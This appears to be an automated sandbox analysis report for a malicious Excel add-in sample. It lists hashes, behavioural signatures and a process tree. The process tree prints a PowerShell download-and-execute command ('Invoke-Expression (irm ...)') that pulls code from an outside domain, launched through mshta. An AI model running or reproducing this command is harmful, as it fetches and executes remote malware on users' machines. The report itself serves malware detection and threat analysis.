Analysis
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max time kernel
146s -
max time network
149s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
22-05-2024 19:15
Static task
static1
Behavioral task
behavioral1
Sample
4ff4b84d4233a00cafef82b08777f38d01b7413c48bb8e2a4fc81c8df62d3904.xll
Resource
win10v2004-20240426-en
Behavioral task
behavioral2
Sample
4ff4b84d4233a00cafef82b08777f38d01b7413c48bb8e2a4fc81c8df62d3904.xll
Resource
win11-20240508-en
General
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Target
4ff4b84d4233a00cafef82b08777f38d01b7413c48bb8e2a4fc81c8df62d3904.xll
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Size
12KB
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MD5
6cc9731c3596d595d936cecf341024d5
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SHA1
d2f326eb528b0d2db19e1576f0a72d2bda0148be
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SHA256
4ff4b84d4233a00cafef82b08777f38d01b7413c48bb8e2a4fc81c8df62d3904
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SHA512
ea9d8af5a73ea9524a5b4231183f2ff3dc359bfa0264e1312ecfbfda82c9dc181f46dc6b1b731aca8d39985dbd2ea9a5c4eeab23eaba1b085df589f08dcbbbe5
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SSDEEP
192:HL29RBzDzeobchBj8JONlONFzJruqrEPEjr7Ahq:r29jnbcvYJOiJuqvr7Cq
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4344 1940 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 10 2576 powershell.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 1940 EXCEL.EXE 1940 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1940 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2576 powershell.exe 2576 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2576 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 1940 EXCEL.EXE 1940 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 1940 EXCEL.EXE 1940 EXCEL.EXE 1940 EXCEL.EXE 1940 EXCEL.EXE 1940 EXCEL.EXE 1940 EXCEL.EXE 1940 EXCEL.EXE 1940 EXCEL.EXE 1940 EXCEL.EXE 1940 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 1940 wrote to memory of 4344 1940 EXCEL.EXE mshta.exe PID 1940 wrote to memory of 4344 1940 EXCEL.EXE mshta.exe PID 1940 wrote to memory of 4344 1940 EXCEL.EXE mshta.exe PID 4344 wrote to memory of 2576 4344 mshta.exe powershell.exe PID 4344 wrote to memory of 2576 4344 mshta.exe powershell.exe PID 4344 wrote to memory of 2576 4344 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4ff4b84d4233a00cafef82b08777f38d01b7413c48bb8e2a4fc81c8df62d3904.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4344 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2576
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\4ff4b84d4233a00cafef82b08777f38d01b7413c48bb8e2a4fc81c8df62d3904.xll
Filesize12KB
MD56cc9731c3596d595d936cecf341024d5
SHA1d2f326eb528b0d2db19e1576f0a72d2bda0148be
SHA2564ff4b84d4233a00cafef82b08777f38d01b7413c48bb8e2a4fc81c8df62d3904
SHA512ea9d8af5a73ea9524a5b4231183f2ff3dc359bfa0264e1312ecfbfda82c9dc181f46dc6b1b731aca8d39985dbd2ea9a5c4eeab23eaba1b085df589f08dcbbbe5
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82